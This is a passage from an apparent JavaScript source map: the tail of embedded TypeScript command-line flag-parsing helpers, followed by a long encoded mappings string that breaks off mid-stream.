`--preset protect-data` is two tokens and only the first looks like a flag, so\n * filtering on a leading `--` leaves `protect-data` behind as though somebody had typed\n * it as input — and `explain` duly reported a verdict on the string \"protect-data\".\n */\nfunction positionals(argv: readonly string[]): string[] {\n const rest: string[] = [];\n for (let i = 0; i < argv.length; i++) {\n const entry = argv[i]!;\n if (!entry.startsWith(\"--\")) {\n rest.push(entry);\n continue;\n }\n if (entry.includes(\"=\")) continue;\n if (VALUE_FLAGS.has(entry.slice(2)) && argv[i + 1] !== undefined) i++;\n }\n return rest;\n}\n\nfunction parseFlags(argv: readonly string[]): Map<string, string> {\n const flags = new Map<string, string>();\n for (let i = 0; i < argv.length; i++) {\n const entry = argv[i]!;\n if (!entry.startsWith(\"--\")) continue;\n const equals = entry.indexOf(\"=\");\n if (equals !== -1) {\n flags.set(entry.slice(2, equals), entry.slice(equals + 1));\n continue;\n }\n const next = argv[i + 1];\n if (VALUE_FLAGS.has(entry.slice(2)) && next !== undefined && !next.startsWith(\"--\")) {\n flags.set(entry.slice(2), next);\n i++;\n } else {\n flags.set(entry.slice(2), \"true\");\n }\n }\n return flags;\n}\n\nfunction bump(counts: Map<string, number>, key: string): void {\n counts.set(key, (counts.get(key) ?? 0) + 1);\n}\n"],"mappings":"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